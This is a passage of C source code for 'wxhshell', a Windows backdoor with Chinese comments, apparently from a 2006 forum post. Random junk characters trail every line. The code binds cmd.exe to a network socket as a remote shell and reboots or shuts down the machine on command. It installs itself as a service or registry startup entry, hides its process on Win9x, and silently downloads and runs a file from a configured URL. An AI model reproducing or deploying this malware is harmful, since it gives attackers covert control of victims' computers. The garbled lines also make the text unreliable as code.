  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4ZIXG,@mZJ  
  } 8P .! q  
  else { &zZSWNW  
.f}I$ "2  
    switch(cmd[0]) { 'BC-'Ot  
  QMIXz[9w  
  // 帮助 u1uY*p  
  case '?': { K"pfp !Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  oDC3AK&  
    break; VbN]z:  
  } p"T4;QBxQ  
  // 安装 ZA!vxQ?P,  
  case 'i': { Q~9:}_@  
    if(Install()) JwO+Dd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m*'#`vIbb  
    else %63<Iz"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dG| iA]  
    break; =X`/.:%|[  
    } /<})+=>6f  
  // 卸载 Zy'bX* s|  
  case 'r': { 0zd1:*KR,  
    if(Uninstall()) i@2?5U>h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |y]#-T?)t  
    else 0iYe>u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xZkLN5I{  
    break; b;yhgdFx  
    } |peZ`O^ ~  
  // 显示 wxhshell 所在路径 3Ry?{m^  
  case 'p': { yCz? V[49  
    char svExeFile[MAX_PATH]; ,Zdc  
    strcpy(svExeFile,"\n\r"); t~Uqsa>n@'  
      strcat(svExeFile,ExeFile); +h =lAHn&  
        send(wsh,svExeFile,strlen(svExeFile),0); {DpZg",H-  
    break; e0D;]  
    } NmeTp?)m  
  // 重启 A >x{\  
  case 'b': { os>|LPv4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9TF[uC)-2  
    if(Boot(REBOOT)) DI*xf Kt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]0^OSS  
    else { rO-Tr  
    closesocket(wsh); }p#S;JZRu+  
    ExitThread(0); Hi ?],5,/  
    } E_h9y  
    break; cD{[rI E3  
    } $tb$gO  
  // 关机 t0wLj}"U  
  case 'd': { _+UD>u{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MP T[f  
    if(Boot(SHUTDOWN)) s?=J#WV1y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,3^N_>d$W  
    else { Tj>~#~  
    closesocket(wsh); i$ Zhk1  
    ExitThread(0); Xdjxt?*  
    } *bZV4}  
    break; >iq^Ts  
    } RY*6TYX!  
  // 获取shell I3SLR  
  case 's': { gSP|;Gy  
    CmdShell(wsh); ZJ!/49c*>  
    closesocket(wsh); ^UJO(   
    ExitThread(0); r:u5+A  
    break; 'j}%ec1  
  } zRB1V99k  
  // 退出 Q<"zpwHR  
  case 'x': { f$P pFSY4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g6N{Z e Wg  
    CloseIt(wsh); w7O(I"  
    break; A }dl@  
    } ;'nu9FU*O  
  // 离开 ?bbguwo~F  
  case 'q': { IH{g-#U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gllXJM^ -  
    closesocket(wsh); = uOFaZ4  
    WSACleanup(); 0`_Gj{:L  
    exit(1); 75{QBlf<  
    break; #MI}KmH  
        } ')go/y`YK  
  } )(,+o  
  } Pj+XKDV]T  
p#3P`I>ZrT  
  // 提示信息 lGs fs(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %[RLc[pB  
} pTcm2-J  
  } bGDV9su  
x3)qK6,\  
  return; hMi[MB7~  
} nE,"3X"   
_w(SHWh2  
// shell模块句柄 (zUERw\a X  
int CmdShell(SOCKET sock) 0E bs-kP  
{ _pW\F(+8  
STARTUPINFO si; '*W/Bett  
ZeroMemory(&si,sizeof(si)); 514;!Q4K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W<kJ%42^j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Al 0zL  
PROCESS_INFORMATION ProcessInfo; P E.^!j  
char cmdline[]="cmd"; cp[k[7XGD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8W#whK2El  
  return 0; (0^u  
} :)bm+xWFF  
2E;*kKw[  
// 自身启动模式 2T iUo(MK  
int StartFromService(void) ~g)gXPjke  
{ )x#^fN~ 7`  
typedef struct \Z<' u;  
{ J,k9?nkY /  
  DWORD ExitStatus; 5^[V%4y>  
  DWORD PebBaseAddress; WG< D+P  
  DWORD AffinityMask; y1f&+y9e  
  DWORD BasePriority; zZseK  
  ULONG UniqueProcessId; 8L.Y0_x  
  ULONG InheritedFromUniqueProcessId; ]M>mwnt+  
}   PROCESS_BASIC_INFORMATION; N3i}>Q)B  
f5^[`b3H  
PROCNTQSIP NtQueryInformationProcess; H$WuT;cTE  
YG<?|AS/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l[.RnM[v  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6wfCC,2  
i9uJ%nd:  
  HANDLE             hProcess; |no '^  
  PROCESS_BASIC_INFORMATION pbi; *cJ GrLC  
9aYCU/3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,M5J~Ga  
  if(NULL == hInst ) return 0; ;L++H5Kz6  
Kp8!^os  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #%Uk}5;-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  !3}vl Y1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MHk\y2`/;  
3\G&fb|?}R  
  if (!NtQueryInformationProcess) return 0; T/UhZ4(V  
r( :"BQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r@^h,  
  if(!hProcess) return 0; mRFcZ.7  
 g&#.zJ[-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; I[G<aI!  
QVm3(;&'  
  CloseHandle(hProcess); {088j?[hzk  
"\U$aaF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o"J}@nF  
if(hProcess==NULL) return 0; O8r9&Nv  
w SBDJvI  
HMODULE hMod; v 4DF #O  
char procName[255]; ZWxq<& Cg  
unsigned long cbNeeded; %5NfF65'  
TnCN2#BO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l+Uy  
>y &9!G  
  CloseHandle(hProcess); k7W7S`H  
X~G!{TT_x6  
if(strstr(procName,"services")) return 1; // 以服务启动 ]8<;,}#  
$-EbJ  
  return 0; // 注册表启动 _T7tq  
} wZ5 + H%x  
Y FL9Q<  
// 主模块 Ir}r98lz  
int StartWxhshell(LPSTR lpCmdLine) ,?P@ :S<8  
{ gyondcF  
  SOCKET wsl; 1zl6Rwk^o  
BOOL val=TRUE;  _p<s!  
  int port=0; 4&2aJ_ 2 y  
  struct sockaddr_in door; &+u) +<&;(  
*am.NH\  
  if(wscfg.ws_autoins) Install(); F$N"&<[c  
;|5m;x/a  
port=atoi(lpCmdLine); S9U,so?  
]4ya$%A  
if(port<=0) port=wscfg.ws_port; )#N)w5DU  
" +'E  
  WSADATA data; RU|{'zC\v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PTXy:>]M  
TL U^ad#9E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _p"nR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hS/oOeG<Y  
  door.sin_family = AF_INET; 8A~5@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E9!u|&$S  
  door.sin_port = htons(port); 3.Oc8(N^}  
DBI[OG9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `BG{\3>  
closesocket(wsl);  K!VIY|U  
return 1; _=Ed>2M)no  
} NjIe2)}'  
gBA UrY%]  
  if(listen(wsl,2) == INVALID_SOCKET) { k4FxdX  
closesocket(wsl); SQ9s  
return 1; +1zCb=;!{  
} ,A T!:&<X  
  Wxhshell(wsl); NguJ[  
  WSACleanup(); `9}\kn-</8  
- &Aw] +  
return 0; wws)**]J8  
&`[y]E'  
} </ 3 Shq  
]([:"j  
// 以NT服务方式启动 d h#4/Wa,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rLw3\>y  
{ n7>CK?25  
DWORD   status = 0; j'Z}; 3y  
  DWORD   specificError = 0xfffffff; eLXG _Qb"  
U?P5 cN  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  I0trHrX9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G%_6" s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CZcn X8P'8  
  serviceStatus.dwWin32ExitCode     = 0; |r[yMI|VR  
  serviceStatus.dwServiceSpecificExitCode = 0; 2 UU5\ jV6  
  serviceStatus.dwCheckPoint       = 0; g!;k$`@{E'  
  serviceStatus.dwWaitHint       = 0; Mn7nS:  
St}j^i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k\W%^Z  
  if (hServiceStatusHandle==0) return; Bt[OGa(q  
]:m>pI*z.  
status = GetLastError(); {h5 S=b  
  if (status!=NO_ERROR) ;O5p>o  
{ 6Y<'Lyg/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _R-[*ucq  
    serviceStatus.dwCheckPoint       = 0; I?nj_ as  
    serviceStatus.dwWaitHint       = 0; (;T$[ru`  
    serviceStatus.dwWin32ExitCode     = status; !{tkv4  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,y@`wq>O  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WX$mAQDV  
    return; a "uO0LOb  
  } gmkD'CX*A  
x;ym_UZ6e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \' (_r  
  serviceStatus.dwCheckPoint       = 0; {Bk9]:'$5  
  serviceStatus.dwWaitHint       = 0; t>p!qKrE'J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g"gh2#!D  
}  Cg[]y1Ne  
~= qJSb  
// 处理NT服务事件,比如:启动、停止 m2{3j[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i j&_>   
{ p_T>"v  
switch(fdwControl) '# K:e  
{  yG -1g0  
case SERVICE_CONTROL_STOP: eq +t%  
  serviceStatus.dwWin32ExitCode = 0; 1~/?W^ir  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vcTWe$;Q  
  serviceStatus.dwCheckPoint   = 0; q y"VrR  
  serviceStatus.dwWaitHint     = 0; h$7rEs  
  { oxT..=-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JbN@AX:%  
  } !pY=\vK;  
  return; cz<8Kb/XV  
case SERVICE_CONTROL_PAUSE: NfqJ>[}I+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MN1 kR  
  break; -{H; w=9  
case SERVICE_CONTROL_CONTINUE: gn"Y?IZ?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2(~Y ^_  
  break; )f(.{M  
case SERVICE_CONTROL_INTERROGATE: DtkY;Yl  
  break; ?0k(wiF  
}; ]4f;%pE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <j"}EEb^  
} m:|jv|f  
ue8Cpn^M  
// 标准应用程序主函数 z*?-*6W  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $OOZ-+8  
{ t}r`~AEa!  
&E|2-)  
// 获取操作系统版本 d3Dw[4  
OsIsNt=GetOsVer(); gx+bKGB`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F)P"UQ!\  
_cra_(b  
  // 从命令行安装 $U=E7JO  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZNb;2 4  
<-KHy`u  
  // 下载执行文件 ?Ne@OMc  
if(wscfg.ws_downexe) { "[(&$ I  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ds@X%L;_  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7-a[W   
} ($a ?zJr  
zs#s"e:jeR  
if(!OsIsNt) { gD&/ k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,M@LtA3g  
HideProc(); ~&-8lD];LM  
StartWxhshell(lpCmdLine); +oKp>-  
} 1n}q6oa=  
else c32IO&W4  
  if(StartFromService()) vd>K=! J  
  // 以服务方式启动 |X&.+RI  
  StartServiceCtrlDispatcher(DispatchTable); hT:+x3  
else o!.\+[  
  // 普通方式启动 Wr3j8"f/  
  StartWxhshell(lpCmdLine); fBCW/<Z  
N[e QT  
return 0; cBICG",TA  
}
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只看该作者 1 发表于: 2006-10-10
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